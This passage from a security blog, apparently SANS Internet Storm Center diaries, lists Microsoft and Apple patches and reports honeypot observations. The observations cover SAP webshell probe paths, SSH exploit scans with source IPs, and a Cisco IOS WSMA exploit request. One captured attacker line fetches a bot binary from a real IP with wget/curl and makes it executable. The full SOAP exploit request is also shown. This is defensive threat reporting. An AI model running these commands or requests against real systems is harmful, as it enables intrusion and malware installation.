%%cve:2026-102219%%	No	No	-	-	Important	8.1	7.1
%%cve:2026-119945%%	No	No	-	-	Important	8.1	7.1
Windows Multiple Provider Router Elevation of Privilege Vulnerability
%%cve:2026-118220%%	No	No	-	-	Important	7.8	6.8
Windows NTFS Elevation of Privilege Vulnerability
%%cve:2026-100223%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-119900%%	No	No	-	-	Important	7.3	6.4
%%cve:2026-119933%%	No	No	-	-	Important	7.8	6.8
Windows NTFS Remote Code Execution Vulnerability
%%cve:2026-105542%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-113848%%	No	No	-	-	Important	7.8	6.8
Windows NTFS Tampering Vulnerability
%%cve:2026-102200%%	No	No	-	-	Important	4.7	4.1
%%cve:2026-113844%%	No	No	-	-	Important	5.5	4.8
Windows NTLM Spoofing Vulnerability
%%cve:2026-121680%%	No	No	-	-	Important	7.5	6.5
Windows NetBIOS Elevation of Privilege Vulnerability
%%cve:2026-105551%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-112798%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-119873%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-96971%%	No	No	-	-	Important	7.0	6.1
Windows Network Address Translation (NAT) Remote Code Execution Vulnerability
%%cve:2026-113862%%	No	No	-	-	Critical	8.1	7.1
%%cve:2026-88212%%	No	No	-	-	Important	7.5	6.5
Windows Network Connected Devices Auto-Setup Service Remote Code Execution Vulnerability
%%cve:2026-125136%%	No	No	-	-	Critical	8.8	7.7
Windows Network Connection Broker Elevation of Privilege Vulnerability
%%cve:2026-105525%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-108406%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-119821%%	No	No	-	-	Important	7.8	6.8
Windows Network File System Information Disclosure Vulnerability
%%cve:2026-118736%%	No	No	-	-	Important	5.5	4.8
Windows OLE DB Elevation of Privilege Vulnerability
%%cve:2026-105587%%	No	No	-	-	Important	7.0	6.1
Windows OLE Elevation of Privilege Vulnerability
%%cve:2026-95933%%	No	No	-	-	Important	7.8	6.8
Windows OLE Information Disclosure Vulnerability
%%cve:2026-96110%%	No	No	-	-	Important	5.5	4.8
Windows Overlay Filter Elevation of Privilege Vulnerability
%%cve:2026-112760%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-112813%%	No	No	-	-	Important	4.7	4.1
%%cve:2026-119822%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-121670%%	No	No	-	-	Important	7.0	6.1
Windows Overlay Filter Information Disclosure Vulnerability
%%cve:2026-108409%%	No	No	-	-	Important	5.5	4.8
%%cve:2026-112750%%	No	No	-	-	Important	5.5	4.8
Windows PCI Bus Driver Elevation of Privilege Vulnerability
%%cve:2026-96981%%	No	No	-	-	Important	6.4	5.6
%%cve:2026-96992%%	No	No	-	-	Important	6.4	5.6
Windows Partition Management Driver Elevation of Privilege Vulnerability
%%cve:2026-105018%%	No	No	-	-	Important	6.6	5.8
Windows Performance Counters Information Disclosure Vulnerability
%%cve:2026-88220%%	No	No	-	-	Important	5.5	4.8
Windows Performance Counters Remote Code Execution Vulnerability
%%cve:2026-113768%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-95975%%	No	No	-	-	Important	8.8	7.7
Windows Performance Monitor Remote Code Execution Vulnerability
%%cve:2026-96993%%	No	No	-	-	Important	7.5	6.5
Windows Phone Service Elevation of Privilege Vulnerability
%%cve:2026-96107%%	No	No	-	-	Important	7.0	6.1
Windows Point-to-Point Protocol over Ethernet (PPPoE) Elevation of Privilege Vulnerability
%%cve:2026-105511%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-118123%%	No	No	-	-	Important	7.0	6.1
Windows PowerShell Remote Code Execution Vulnerability
%%cve:2026-124225%%	No	No	-	-	Important	7.8	6.8
Windows Print Spooler Components Elevation of Privilege Vulnerability
%%cve:2026-105567%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-112752%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-112762%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-112765%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-112791%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-112792%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-112797%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-112811%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-112976%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-112978%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-112980%%	No	No	-	-	Important	6.7	5.8
%%cve:2026-112981%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-113770%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-119913%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-119939%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-119950%%	No	No	-	-	Important	8.8	7.7
Windows Print Spooler Components Information Disclosure Vulnerability
%%cve:2026-105531%%	No	No	-	-	Important	5.5	4.8
%%cve:2026-112806%%	No	No	-	-	Important	4.7	4.1
%%cve:2026-112808%%	No	No	-	-	Important	6.5	5.7
Windows Print Spooler Components Remote Code Execution Vulnerability
%%cve:2026-113752%%	No	No	-	-	Critical	7.5	6.5
Windows PrintWorkflowUserSvc Elevation of Privilege Vulnerability
%%cve:2026-119898%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-119928%%	No	No	-	-	Important	7.0	6.1
Windows Program Compatibility Assistant Service Elevation of Privilege Vulnerability
%%cve:2026-123388%%	No	No	-	-	Important	7.8	6.8
Windows Program Compatibility Assistant Service Information Disclosure Vulnerability
%%cve:2026-88247%%	No	No	-	-	Important	5.5	4.8
Windows Projected File System Elevation of Privilege Vulnerability
%%cve:2026-112799%%	No	No	-	-	Important	7.8	6.8
Windows Projected File System Filter Driver Elevation of Privilege Vulnerability
%%cve:2026-108414%%	No	No	-	-	Important	7.0	6.1
Windows Projected File System Information Disclosure Vulnerability
%%cve:2026-113764%%	No	No	-	-	Important	4.7	4.1
Windows Push Notification Core Elevation of Privilege Vulnerability
%%cve:2026-96023%%	No	No	-	-	Important	7.8	6.8
Windows Push Notifications Elevation of Privilege Vulnerability
%%cve:2026-95881%%	No	No	-	-	Important	7.8	6.8
Windows RNDIS Elevation of Privilege Vulnerability
%%cve:2026-112755%%	No	No	-	-	Important	6.8	5.9
Windows Raw Image Extension Remote Code Execution Vulnerability
%%cve:2026-114169%%	No	No	-	-	Critical	8.8	7.7
Windows Redirected Drive Buffering Information Disclosure Vulnerability
%%cve:2026-113772%%	No	No	-	-	Important	4.7	4.1
Windows Redirected Drive Buffering System Elevation of Privilege Vulnerability
%%cve:2026-108412%%	No	No	-	-	Important	7.8	6.8
Windows Remote Access API Tampering Vulnerability
%%cve:2026-119396%%	No	No	-	-	Important	6.5	5.7
Windows Remote Access Connection Manager Elevation of Privilege Vulnerability
%%cve:2026-113843%%	No	No	-	-	Important	7.8	6.8
Windows Remote Assistance Elevation of Privilege Vulnerability
%%cve:2026-112751%%	No	No	-	-	Important	7.8	6.8
Windows Remote Desktop Client Elevation of Privilege Vulnerability
%%cve:2026-119839%%	No	No	-	-	Important	8.8	7.7
Windows Remote Desktop Client Information Disclosure Vulnerability
%%cve:2026-108417%%	No	No	-	-	Important	6.5	5.7
%%cve:2026-108418%%	No	No	-	-	Important	6.5	5.7
%%cve:2026-108419%%	No	No	-	-	Important	6.5	5.7
%%cve:2026-121677%%	No	No	-	-	Important	6.5	5.7
%%cve:2026-121678%%	No	No	-	-	Important	5.3	4.6
%%cve:2026-95908%%	No	No	-	-	Important	5.5	4.8
Windows Remote Desktop Denial of Service Vulnerability
%%cve:2026-119932%%	No	No	-	-	Important	7.5	6.5
Windows Remote Desktop Services Elevation of Privilege Vulnerability
%%cve:2026-119957%%	No	No	-	-	Critical	7.8	6.8
%%cve:2026-122166%%	No	No	-	-	Important	7.8	6.8
Windows Remote Desktop Services Information Disclosure Vulnerability
%%cve:2026-119882%%	No	No	-	-	Important	5.3	4.6
Windows Remote Desktop Services Remote Code Execution Vulnerability
%%cve:2026-69327%%	No	No	-	-	Important	7.4	6.4
%%cve:2026-69565%%	No	No	-	-	Important	7.0	6.1
Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability
%%cve:2026-105509%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-119386%%	No	No	-	-	Important	7.0	6.1
Windows Rich Text Edit Control Remote Code Execution Vulnerability
%%cve:2026-96081%%	No	No	-	-	Important	7.5	6.5
Windows SMB Client Elevation of Privilege Vulnerability
%%cve:2026-112812%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-112970%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-112971%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-119870%%	No	No	-	-	Important	7.0	6.1
Windows SMB Remote Code Execution Vulnerability
%%cve:2026-119988%%	No	No	-	-	Important	7.1	6.2
%%cve:2026-122176%%	No	No	-	-	Important	8.8	7.7
Windows SMB Server Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability
%%cve:2026-113825%%	No	No	-	-	Critical	7.5	6.5
Windows SMBv3 Server Remote Code Execution Vulnerability
%%cve:2026-112972%%	No	No	-	-	Important	7.5	6.5
Windows Sandbox Elevation of Privilege Vulnerability
%%cve:2026-119906%%	No	No	-	-	Important
Windows Schannel Remote Code Execution Vulnerability
%%cve:2026-119952%%	No	No	-	-	Critical	8.1	7.1
Windows Search Remote Code Execution Vulnerability
%%cve:2026-116928%%	No	No	-	-	Critical	9.8	8.5
Windows Secure Kernel Mode Information Disclosure Vulnerability
%%cve:2026-112757%%	No	No	-	-	Important	6.0	5.2
Windows Secure Socket Tunneling Protocol (SSTP) Denial of Service Vulnerability
%%cve:2026-105561%%	No	No	-	-	Important	7.5	6.5
Windows Secure Socket Tunneling Protocol (SSTP) Elevation of Privilege Vulnerability
%%cve:2026-105510%%	No	No	-	-	Important	7.0	6.1
Windows Security Account Manager Denial of Service Vulnerability
%%cve:2026-112795%%	No	No	-	-	Important	6.5	5.7
%%cve:2026-112966%%	No	No	-	-	Important	7.5	6.5
Windows Security Account Manager Remote Protocol Security Feature Bypass Vulnerability
%%cve:2026-122474%%	No	No	-	-	Important	5.9	5.2
Windows Security Center Elevation of Privilege Vulnerability
%%cve:2026-113842%%	No	No	-	-	Important	7.0	6.1
Windows Sensor Data Service Elevation of Privilege Vulnerability
%%cve:2026-88241%%	No	No	-	-	Important	7.8	6.8
Windows Servicing Stack Updates Elevation of Privilege Vulnerability
%%cve:2026-112989%%	No	No	-	-	Important	7.0	6.1
Windows Setup and Deployment Elevation of Privilege Vulnerability
%%cve:2026-105547%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-119914%%	No	No	-	-	Important	6.7	5.8
Windows Shell Elevation of Privilege Vulnerability
%%cve:2026-119817%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-97013%%	No	No	-	-	Important	7.8	6.8
Windows Shell Information Disclosure Vulnerability
%%cve:2026-102868%%	No	No	-	-	Important	5.5	4.8
%%cve:2026-105506%%	No	No	-	-	Important	5.0	4.4
Windows Shell Remote Code Execution Vulnerability
%%cve:2026-119938%%	No	No	-	-	Important	7.5	6.5
Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability
%%cve:2026-85907%%	No	No	-	-	Important	4.4	3.9
Windows Smart Card Elevation of Privilege Vulnerability
%%cve:2026-112794%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-118144%%	No	No	-	-	Important	6.6	5.8
%%cve:2026-119383%%	No	No	-	-	Important	6.6	5.8
%%cve:2026-119835%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-95968%%	No	No	-	-	Important	7.0	6.1
Windows Smart Card Information Disclosure Vulnerability
%%cve:2026-105549%%	No	No	-	-	Important	4.3	3.8
Windows State Repository Service Tampering Vulnerability
%%cve:2026-112979%%	No	No	-	-	Important	5.5	4.8
Windows StateRepository API Tampering Vulnerability
%%cve:2026-95998%%	No	No	-	-	Important	4.4	3.9
Windows Storage Elevation of Privilege Vulnerability
%%cve:2026-105529%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-119389%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-95889%%	No	No	-	-	Important	6.6	5.8
Windows Storage Remote Code Execution Vulnerability
%%cve:2026-105534%%	No	No	-	-	Important	8.8	7.7
Windows Storage Spaces Controller Elevation of Privilege Vulnerability
%%cve:2026-105024%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-119392%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-119851%%	No	No	-	-	Important	7.0	6.1
Windows Storage Spaces Controller Remote Code Execution Vulnerability
%%cve:2026-113814%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-119908%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-122475%%	No	No	-	-	Important	8.8	7.7
Windows Storport Miniport Driver Elevation of Privilege Vulnerability
%%cve:2026-119830%%	No	No	-	-	Important	6.8	5.9
%%cve:2026-119885%%	No	No	-	-	Important	6.8	5.9
Windows Storport Miniport Driver Information Disclosure Vulnerability
%%cve:2026-119875%%	No	No	-	-	Important	4.0	3.5
Windows Storport Miniport Driver Remote Code Execution Vulnerability
%%cve:2026-119823%%	No	No	-	-	Important	6.8	5.9
Windows Subsystem for Linux Elevation of Privilege Vulnerability
%%cve:2026-119834%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-119846%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-88237%%	No	No	-	-	Important	7.0	6.1
Windows System Events Broker Information Disclosure Vulnerability
%%cve:2026-105530%%	No	No	-	-	Important	5.5	4.8
Windows TCP/IP Denial of Service Vulnerability
%%cve:2026-96077%%	No	No	-	-	Important	7.5	6.5
Windows TCP/IP Elevation of Privilege Vulnerability
%%cve:2026-96102%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-96969%%	No	No	-	-	Important	7.0	6.1
Windows TCP/IP Remote Code Execution Vulnerability
%%cve:2026-113859%%	No	No	-	-	Critical	7.5	6.5
Windows TPM Elevation of Privilege Vulnerability
%%cve:2026-119382%%	No	No	-	-	Critical	7.8	6.8
Windows Task Scheduler Elevation of Privilege Vulnerability
%%cve:2026-112759%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-122174%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-88233%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-95894%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-96053%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-96845%%	No	No	-	-	Important	7.8	6.8
Windows Telephony Service Elevation of Privilege Vulnerability
%%cve:2026-108413%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-116700%%	No	No	-	-	Important	6.6	5.8
%%cve:2026-119886%%	No	No	-	-	Important	7.8	6.8
Windows Telephony Service Information Disclosure Vulnerability
%%cve:2026-108408%%	No	No	-	-	Important	5.5	4.8
Windows Text Services Framework Elevation of Privilege Vulnerability
%%cve:2026-119818%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-119925%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-119931%%	No	No	-	-	Important	7.0	6.1
Windows Text Services Framework Information Disclosure Vulnerability
%%cve:2026-96022%%	No	No	-	-	Important	5.6	4.9
Windows USB Audio Class driver (usbaudio.sys) Elevation of Privilege Vulnerability
%%cve:2026-119829%%	No	No	-	-	Important	6.8	5.9
Windows USB Driver Elevation of Privilege Vulnerability
%%cve:2026-112764%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-119872%%	No	No	-	-	Important	6.4	5.6
%%cve:2026-122167%%	No	No	-	-	Important	6.8	5.9
%%cve:2026-95872%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-96005%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-96051%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-96055%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-96056%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-96057%%	No	No	-	-	Important	7.8	6.8
Windows USB Hub Driver Elevation of Privilege Vulnerability
%%cve:2026-95902%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-95999%%	No	No	-	-	Important	7.8	6.8
Windows USB Hub Driver Information Disclosure Vulnerability
%%cve:2026-96041%%	No	No	-	-	Important	5.5	4.8
Windows USB Scanner Driver Elevation of Privilege Vulnerability
%%cve:2026-119876%%	No	No	-	-	Important	7.0	6.1
Windows USB Video Driver Elevation of Privilege Vulnerability
%%cve:2026-112984%%	No	No	-	-	Important	6.6	5.8
%%cve:2026-112990%%	No	No	-	-	Important	4.7	4.1
%%cve:2026-95961%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-95965%%	No	No	-	-	Important	7.8	6.8
Windows USM Communication Manager Elevation of Privilege Vulnerability
%%cve:2026-97000%%	No	No	-	-	Important	7.0	6.1
Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability
%%cve:2026-119837%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-119840%%	No	No	-	-	Important	6.3	5.5
%%cve:2026-122984%%	No	No	-	-	Important	7.8	6.8
Windows Update Stack Information Disclosure Vulnerability
%%cve:2026-122162%%	No	No	-	-	Important	5.5	4.8
Windows User Manager Service Elevation of Privilege Vulnerability
%%cve:2026-95987%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-96037%%	No	No	-	-	Important	7.8	6.8
Windows Virtual Filtering Platform (VFP) Remote Code Execution Vulnerability
%%cve:2026-95962%%	No	No	-	-	Important	9.0	7.8
Windows WLAN Service Denial of Service Vulnerability
%%cve:2026-96086%%	No	No	-	-	Important	6.5	5.7
Windows Win32k Elevation of Privilege Vulnerability
%%cve:2026-105028%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-119827%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-119899%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-122170%%	No	No	-	-	Important	7.0	6.1
Windows WinHTTP Information Disclosure Vulnerability
%%cve:2026-108423%%	No	No	-	-	Important	4.7	4.1
Windows Wireless Networking Elevation of Privilege Vulnerability
%%cve:2026-105589%%	No	No	-	-	Important	7.0	6.1
Windows XWizard Framework Elevation of Privilege Vulnerability
%%cve:2026-113760%%	No	No	-	-	Important	8.8	7.7
Windows Xbox Live Networking Service Remote Code Execution Vulnerability
%%cve:2026-112967%%	No	No	-	-	Critical	9.8	8.5
Windows eSCL Scanner Elevation of Privilege Vulnerability
%%cve:2026-112801%%	No	No	-	-	Important	7.8	6.8
Windows eSCL Scanner Remote Code Execution Vulnerability
%%cve:2026-95956%%	No	No	-	-	Important	8.1	7.1
Windows exFAT File System Elevation of Privilege Vulnerability
%%cve:2026-112766%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-112804%%	No	No	-	-	Important	7.0	6.1
Windows iSCSI Elevation of Privilege Vulnerability
%%cve:2026-122177%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-95898%%	No	No	-	-	Important	7.8	6.8
Windows iSCSI Information Disclosure Vulnerability
%%cve:2026-88231%%	No	No	-	-	Important	5.7	5.0
Windows iSCSI Remote Code Execution Vulnerability
%%cve:2026-105518%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-88234%%	No	No	-	-	Important	9.8	8.5
Windows iSCSI Target Service Information Disclosure Vulnerability
%%cve:2026-83684%%	No	No	-	-	Important	7.5	6.5
Winlogon Elevation of Privilege Vulnerability
%%cve:2026-105522%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-83563%%	No	No	-	-	Important	7.8	6.8
Winsock Elevation of Privilege Vulnerability
%%cve:2026-105526%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-96994%%	No	No	-	-	Important	7.0	6.1
Xbox Gaming Services Elevation of Privilege Vulnerability
%%cve:2026-95874%%	No	No	-	-	Important	7.8	6.8
vhdmp.sys Elevation of Privilege Vulnerability
%%cve:2026-95989%%	No	No	-	-	Important	7.0	6.1

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

0 Comments

Published: 2026-11-10

Apple Patches Everyting: November 2026 Edition

On Monday, Apple released updates for iOS/iPadOS, macOS, watchOS, and visionOS. These updates fix nine different vulnerabilities. One of the vulnerabilities, CVE-2026-113971, applies only to iOS/iPadOS version 26. Several of the vulnerabilities apply to Bluetooth issues that may weaken the device pairing process.

The number of vulnerabilities Apple patches remains small, but Apple has increased the cadence of its updates.

iOS 27.2.1 and iPadOS 27.2.1	iOS 26.7.3 and iPadOS 26.7.3	iOS 18.7.12 and iPadOS 18.7.12	macOS Golden Gate 27.2.1	macOS Tahoe 26.7.3	macOS Sequoia 15.8.3	watchOS 27.2.1	watchOS 26.6.1	visionOS 27.2.1
CVE-2026-113960: A user added to an iMessage group may be able to access messages sent before they joined. Affects Messages
x	x		x	x	x	x		x
CVE-2026-113961: A remote attacker may be able to join an iMessage group chat and receive its messages. Affects Messages
x	x		x	x	x	x		x
CVE-2026-113963: An app may be able to access sensitive user data. Affects App Intents
x						x		x
CVE-2026-113964: An attacker in Bluetooth range may be able to bypass the rate limit on pairing code attempts and pair with a device without user interaction. Affects CoreUtils
x	x	x	x	x	x	x	x	x
CVE-2026-113965: A malicious Bluetooth device may be able to establish a pairing without user interaction. Affects CoreUtils
x	x	x	x	x	x	x	x	x
CVE-2026-113968: An attacker in Bluetooth range may be able to bypass the rate limit on pairing code attempts. Affects AirPlay
x	x	x	x	x	x	x	x	x
CVE-2026-113969: An attacker on the same network may be able to bypass the rate limit on AirPlay pairing code attempts. Affects rapportd
x	x	x	x	x	x	x	x	x
CVE-2026-113970: An attacker in Bluetooth range may be able to corrupt process memory. Affects Bluetooth
x	x	x	x	x	x	x	x	x
CVE-2026-113971: An attacker with physical access may be able to pair a device with an AirPlay receiver from the lock screen. Affects MediaRemote
		x

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

1 Comments

Published: 2026-11-09

Attackers Searching for SAP Netweaver Webshells

Just saw a new (to me) URL in our honeypot data today:

/irj/servlet_jsp/irj/root/ant.jsp

This request is part of a larger campaign to exploit SAP NetWeaver or to find already installed webshells.

The exploited vulnerability is "old": CVE-2025-31324. A perfect 10 CVSS score and the simple ability to upload files without authentication. Attackers have been using this vulnerability to upload webshells. Usually, these webshells end up in /irj/servlet_jsp/irj/root/.

One particular attacker, 82.26.72.21, is hitting the following URLs. Not all of these URLs are SAP NetWeaver-related. Also, check the odd misspelling of "upload.aspx" at the end.

URL Path
/
/_layouts/15/start.aspx
/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx
/amp/upload
/ant.aspx
/ant.jsp
/ant.jsp/
/ant.php
/api/upload
/api/v1/upload
/authenticationendpoint/ant.jsp
/commandcenter/ant.jsp
/commandcenter/deployWebpackage.do
/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1
/en-US/static/app/search/ant.php
/fileupload/toolsAny
/hosted/amp/upload
/images/ant.php
/images/pagebuilder/ant.php
/index.action
/index.php?option=com_baforms&task=uploader.upload
/index.php?option=com_gridbox&task=uploader.upload
/index.php?option=com_jce&task=plugin.display&plugin=browser
/index.php?option=com_sppagebuilder&task=media.directUpload
/irj/servlet_jsp/irj/root/ant.jsp
/m/webadmin/upload
/MagicInfo/ant.jsp
/MagicInfo/servlet/SWUpdateFileUploader
/NmConsole/ant.aspx
/NmConsole/Wug/Report/ExportReport
/Synchronization
/te/upload
/upload.apsx
/upload.aspx

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

1 Comments

Published: 2026-11-08

Scans for Sshole Vulnerability (CVE-2026-123158)

Our honeypots use "Cowrie" to collect SSH data. With the emergence of the "sshole" vulnerability last week, we are now seeing an increase in attempts to exploit the vulnerability. Our data is a bit limited in this respect. Our honeypots collect only the first 255 characters of SSH passwords. Longer passwords are highly unusual and not used for the usual password brute-forcing we observe.

Our data starts showing the increase of the use of long passwords on November 1st. Since then, the number of requests has been increasing:

Raw Data:

Date	Count
2026-10-26	0
2026-10-27	0
2026-10-28	0
2026-10-29	0
2026-10-30	0
2026-10-31	0
2026-11-01	23
2026-11-02	0
2026-11-03	5
2026-11-04	58
2026-11-05	232
2026-11-06	713
2026-11-07	246
2026-11-08	51

The initial passwords we saw on November 1st do not appear to be related to the exploit. Ever so often, buggy brute force scripts enter commands intended for the post-login shell in the password field. Interestingly, these "passwords" may actually have worked, allowing these buggy scripts to run.

A typical "buggy" password is:

cd /tmp; (wget -q http://156.238.252.37:8000/bot.x86_64 -O /tmp/b 2>/dev/null || busybox wget -q http://156.238.252.37:8000/bot.x86_64 -O /tmp/b 2>/dev/null || curl -sk http://156.238.252.37:8000/bot.x86_64 -o /tmp/b 2>/dev/null); chmod 777 /tmp/b 2>/dev/

The first actual exploit attempt for sshole arrived on November 5th, with attempts that used an all "A" password. Here is a list with initial scanners:

Source IP	Count	ASN	AS Name
213.86.169.133	48	AS8220	COLT COLT Technology Services Group Limited
152.233.50.185	44	AS212238	CDNEXT Datacamp Limited
92.255.57.7	43	AS55286	SERVER-MANIA - B2 Net Solutions Inc.
195.178.110.78	23	AS48090	DMZHOST TECHOFF SRV LIMITED
109.94.173.13	15	AS202660	BRM-DataCenter "Uzbektelekom" Joint Stock Company
87.241.132.12	10	AS12297	TELECOM-ARMENIA Telecom Armenia OJSC
52.119.124.122	10	AS32329	MONKEYBRAINS - Another Corporate ISP, LLC
185.2.148.137	5	AS29119	SERVIHOSTING-AS AIRE NETWORKS DEL MEDITERRANEO SL UNIPERSONAL
220.77.237.35	5	AS4766	KIXS-AS-KR-KR - Korea Telecom
82.74.132.129	5	AS33915	TNF-AS Vodafone Libertel B.V.
220.70.219.98	4	AS4766	KIXS-AS-KR-KR - Korea Telecom
154.80.128.173	4	AS215925	VPSVAULTHOST VPSVAULT.HOST LTD
121.190.39.238	4	AS4766	KIXS-AS-KR-KR - Korea Telecom
121.163.224.97	3	AS4766	KIXS-AS-KR-KR - Korea Telecom
58.151.184.226	3	AS3786	LGDACOM-KR - LG DACOM Corporation
62.210.173.100	2	AS12876	AS12876 Scaleway SAS
183.99.38.238	2	AS4766	KIXS-AS-KR-KR - Korea Telecom
112.162.23.132	2	AS4766	KIXS-AS-KR-KR - Korea Telecom

I expect quite a few of these login attempts were successful for our honeypots, and I will follow up with more details as I extract them.

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

1 Comments

Published: 2026-11-05

Vulnerability Scans for Older Cisco IOS Vulnerability / Opt-Out Headers

This morning, I was browsing our honeypot data for any new and existing PHP exploit attempts. Instead, I first ran into some GeoServer exploits, but found them to be too boring to write up. This Cisco IOS exploit attempt was a bit more interesting. Still nothing new. I suspect this is for CVE-2023-20198.

POST /%77ebui_wsma_https HTTP/1.1 Host: [redacted]:8000 User-Agent: RootEvidence/1.0 Content-Length: 720 Connection: close Content-Type: text/xml; charset=UTF-8 Opt-Out-Email: re-abuse@rootevidence.com Opt-Out-Url: https://www.rootevidence.com/scanners Accept-Encoding: gzip

<?xml version="1.0"?> <SOAP:Envelope xmlns:SOAP="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <SOAP:Header> <wsse:Security xmlns:wsse="http://schemas.xmlsoap.org/ws/2002/04/secext"> <wsse:UsernameToken SOAP:mustUnderstand="false"> <wsse:Username>admin</wsse:Username><wsse:Password>*****</wsse:Password></wsse:UsernameToken></wsse:Security></SOAP:Header><SOAP:Body><request correlator="exec1" xmlns="urn:cisco:wsma-exec"> <execCLI xsd="false"><cmd>uname -a</cmd><dialogue><expect></expect><reply></reply></dialogue></execCLI></request></SOAP:Body></SOAP:Envelope>

I highlighted the actual command (uname -a) above. But also interesting is the use of a "Opt-Out-Email" and "Opt-Out-Url" header. Rootevidence is yet another exposure/vulnerability management Platform. I couldn't find a standard that suggests them, and I think it is the first time I've seen them. Rootevidence has been using them since December last year, but this is the first time I noticed them.

Oh, and they are doing URL encoding for the "w" in the URL. I bet there are some stupid WAFs that fall for that.

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

7 Comments

Published: 2026-11-04

The Classics Return: Vulnerable E-Mail Scripts

One of the early web application vulnerabilities I remember was CVE-2000-0411 [CVE]. This was a simple vulnerability in a CGI-bin script used to send e-mail. The vulnerability was pretty straightforward: Adding additional parameters to the URL leaked environment variables. Other vulnerabilities allowed setting the "To" address and were heavily abused by spammers. And if parameters were passed directly to the sendmail binary, similar vulnerabilities could allow arbitrary code execution.

Today, I noticed a slight resurgence in scans targeting e-mail scripts on our honeypots. Today, there are numerous scripts like the old "formail" scripts, and it is hard to link a specific vulnerability to any of these scans. But my main suspect is spammers looking for webforms that allow setting arbitrary "To" headers. The URLs I am seeing:

"/sendmail.php" "/test-mail.php" "/testemail.php" "/config/mail_config.php" "/mail_config.php" "/email-test.php" "/mailtest.php"

In particular, the "Test" part of the filename suggests that the attacker is not looking for production scripts, but for test scripts left behind during development. This, along with the requests for credential/secret files that top our "Leaderboard," points to a more fundamental issue: Code hygiene. Do not leave behind development artifacts that should never have reached a live website.

For example, some excerpts from a random "mailtest.php" script that came back in a Google search [mailtest]:

<?php

   /*    DONT FORGET TO DELETE THIS SCRIPT WHEN FINISHED!    */

